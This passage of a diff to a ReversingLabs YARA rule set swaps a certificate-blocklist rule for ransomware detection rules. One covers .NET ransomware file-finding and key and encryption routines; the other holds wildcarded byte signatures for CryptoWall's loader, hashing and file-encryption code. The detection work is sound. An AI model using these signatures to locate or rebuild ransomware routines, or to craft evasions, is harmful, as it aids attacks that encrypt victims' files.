6F ?? + ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 06 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 06 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 2D ?? 00 11 + ?? 7E ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 72 ?? + ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F + ?? ?? ?? ?? DC DE ?? 26 DE ?? 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE 16 ?? + ?? ?? ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? + 28 ?? ?? ?? ?? 26 2A + } + $get_key = { + 73 ?? ?? ?? ?? 0A 06 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 + ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D + ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? + ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 07 6F ?? + ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 + ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ?? + ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A + } + $encrypt_files = { + 28 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 6F ?? ?? ?? ?? 06 20 + ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 6F ?? ?? + ?? ?? 06 19 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F + ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 02 03 07 28 ?? ?? + ?? ?? 0C DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "joaweb" and pe.signatures [ i ] . serial == "7d:82:4b:a1:f7:f7:30:31:9c:50:d6:4c:9a:7e:d5:07" and 1238025599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $get_key ) and ( $encrypt_files ) } -rule REVERSINGLABS_Cert_Blocklist_77A64759F12766E363D779998C71Bdc9 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cryptowall : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects CryptoWall ransomware." author = "ReversingLabs" - id = "98acd01b-c452-530d-8814-2591810ecd53" - date = "2020-08-05" - modified = "2023-11-08" + id = "06d8b106-d69a-526a-8e16-c95d39eb2993" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2320-L2336" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoWall.yara#L3-L312" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2bf3d99ddec6b76da1ca60a9285767a5b34b84455db58195fc5d8fd8a22c9f8a" + logic_hash = "74baa04ee506732e0bb64a77cfd2d2216fcc978f13447ef07862e0116c093c14" score = 75 - quality = 90 - tags = "INFO, FILE" + quality = 88 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "CryptoWall" + tc_detection_factor = 5 importance = 25 + strings: + $v30_entrypoint = { + 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 9A 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 7E C7 45 ?? ?? ?? ?? ?? + 8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 + E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A + ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2 + } + $v20_entrypoint = { + 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 A3 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 83 00 00 00 C7 45 ?? + ?? ?? ?? ?? 8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 6A 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ?? + ?? ?? FF D2 E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2 + } + $v30_api_load = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 50 01 00 00 8B 45 ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 34 01 00 00 B9 ?? ?? ?? ?? 6B D1 ?? 8B 45 ?? 8B 4D ?? 03 4C 10 ?? 89 4D ?? 8B + 55 ?? 8B 45 ?? 03 42 ?? 89 45 ?? 8B 4D ?? 8B 55 ?? 03 51 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? C7 45 ?? ?? ?? + ?? ?? EB 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 3B 48 ?? 0F 83 DA 00 00 00 8B 55 ?? 8B 45 ?? 8B 4D ?? 03 0C 90 + 51 E8 ?? ?? ?? ?? 83 C4 ?? 3B 45 ?? 0F 85 B7 00 00 00 BA ?? ?? ?? ?? 6B C2 ?? 8B 4D ?? 8B 54 01 ?? 8B 44 01 ?? 89 55 ?? + 89 45 ?? 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 14 81 3B 55 ?? 76 71 8B 45 ?? 8B 4D ?? 0F B7 14 41 8B 45 ?? 03 45 ?? + 8B 4D ?? 39 04 91 73 59 8B 55 ?? 8B 45 ?? 0F B7 0C 50 8B 55 ?? 8B 45 ?? 03 04 8A 89 45 ?? 74 3F 6A ?? 8B 4D ?? 51 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 55 ?? 8D 44 02 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8D 45 ?? 50 6A ?? 8D 4D ?? + 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 40 ?? FF D0 EB 16 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? EB + 05 E9 0E FF FF FF 8B 45 ?? 8B E5 5D C3 + } + $v30_dll_load = { + 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 58 8B 45 ?? 8B 48 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 + ?? 8B 08 89 4D ?? 8B 55 ?? 3B 55 ?? 74 36 8B 45 ?? 89 45 ?? 8B 4D ?? 0F B7 51 ?? D1 EA 52 8B 45 ?? 8B 48 ?? 51 E8 ?? ?? + ?? ?? 83 C4 ?? 3B 45 ?? 75 08 8B 55 ?? 8B 42 ?? EB 0C 8B 45 ?? 8B 08 89 4D ?? EB C2 33 C0 8B E5 5D C3 + } + $v30_calculate_hash = { + 55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5E 83 7D ?? ?? 74 58 8B 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55 + ?? 83 EA ?? 89 55 ?? 83 7D ?? ?? 74 3D 8B 45 ?? 66 8B 08 66 89 4D ?? 8B 75 ?? C1 EE ?? 0F B7 55 ?? 52 E8 ?? ?? ?? ?? 83 + C4 ?? 0F B7 C0 33 45 ?? 25 ?? ?? ?? ?? 33 34 85 ?? ?? ?? ?? 89 75 ?? 8B 4D ?? 83 C1 ?? 89 4D ?? EB AE 8B 45 ?? 83 F0 ?? + 5E 8B E5 5D C3 + } + $v30_1_find_file_1 = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 47 02 00 00 E8 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 0F 84 32 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68 + ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? + ?? 0F 84 B2 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 84 01 00 + 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 A0 00 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 0F 85 80 00 00 00 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 69 C7 45 ?? ?? ?? + ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 47 8B 45 ?? 50 8B 4D ?? 8B 11 52 8B + 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51 + } + $v30_1_find_file_2 = { + E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 + 54 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 4D ?? 51 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 55 ?? 52 8B 45 ?? 50 E8 30 FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 4D ?? 51 E8 ?? ?? + ?? ?? 83 C4 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 85 CE FE FF FF 8B 55 ?? 52 E8 ?? + ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 74 2E 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 + C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3 + } + $v30_2_find_file_1 = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 ( 3B | 3D ) 02 00 00 E8 ?? ?? ?? + ?? 89 45 ?? 83 7D ?? ?? 0F 84 ( 26 | 28 ) 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? + ?? ?? ?? FF D1 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 83 7D ?? ?? 0F 84 ( A6 | A8 ) 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? + 83 7D ?? ?? 0F 84 ( 78 | 7A ) 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 94 00 00 00 C7 45 ?? ?? ?? ?? + ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 78 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 C7 + 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 43 8B 55 ?? 8B 02 50 8B + } + $v30_2_find_file_2 = { + 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 + 54 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 55 ?? 52 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 45 ?? 50 8B 4D ?? 51 E8 3C FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 55 ?? 52 E8 ?? ?? + ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 85 DA FE FF FF 8B 45 ?? 50 E8 ?? + ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 74 ( 2E | 30 ) 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 45 ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 ( 0E | 10 ) 6A ?? [0-2] 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 89 55 ?? 8B 45 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3 + } + $v30_3_find_file_1 = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 7C 02 00 00 E8 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 0F 84 67 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68 + ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? + ?? 0F 84 E7 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 B9 01 00 + 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 91 00 00 00 8D 55 + ?? 52 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 7A 8B 4D ?? 8B 11 83 E2 ?? 75 70 C7 45 ?? ?? ?? ?? ?? 8D 45 + ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 49 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 8B 45 ?? 8B + } + $v30_3_find_file_2 = { + 08 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1C 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 88 00 00 00 8B 55 ?? 8B 02 83 E0 ?? 74 7E 8B 4D ?? 83 79 ?? ?? + 74 75 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 62 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B + 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 40 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1D 8B 45 + ?? 50 8B 4D ?? 51 E8 15 FE FF FF 83 C4 ?? 85 C0 74 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B + 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 85 AC FE FF FF 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? + ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 2E 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 89 + 45 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3 + } + $v20_1_encrypt_file_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 99 05 00 00 8B 45 ?? + 83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 6E 05 00 00 + 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? + ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 F4 04 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B + 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50 + 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 E7 03 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ?? + 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 AF 03 00 00 + 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 97 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B + 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6A 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 2C 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 D9 02 00 00 + } + $v20_1_encrypt_file_2 = { + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ?? + 8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 81 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B + 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 41 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? + 0F 85 32 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F + 84 0B 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 FF 01 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ?? + ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CE 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F 84 73 01 00 00 C7 45 ?? ?? + ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 75 ?? 8B 45 ?? 3B 45 + ?? 77 1A 72 0B 8B 8D ?? ?? ?? ?? 3B 4D ?? 73 0D 8B 55 ?? 33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 + ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03 4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B + } + $v20_1_encrypt_file_3 = { + 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 84 A2 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 96 00 00 00 C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 60 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF + D1 85 C0 74 31 8B 55 ?? 3B 55 ?? 75 29 8B 45 ?? 33 C9 03 45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? + 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02 + EB 05 E9 79 FE FF FF 83 7D ?? ?? 74 17 8B 55 ?? 3B 55 ?? 75 0F 8B 45 ?? 3B 45 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? + ?? 8B 90 ?? ?? ?? ?? FF D2 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? + ?? ?? ?? FF D0 83 7D ?? ?? 74 0C 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? 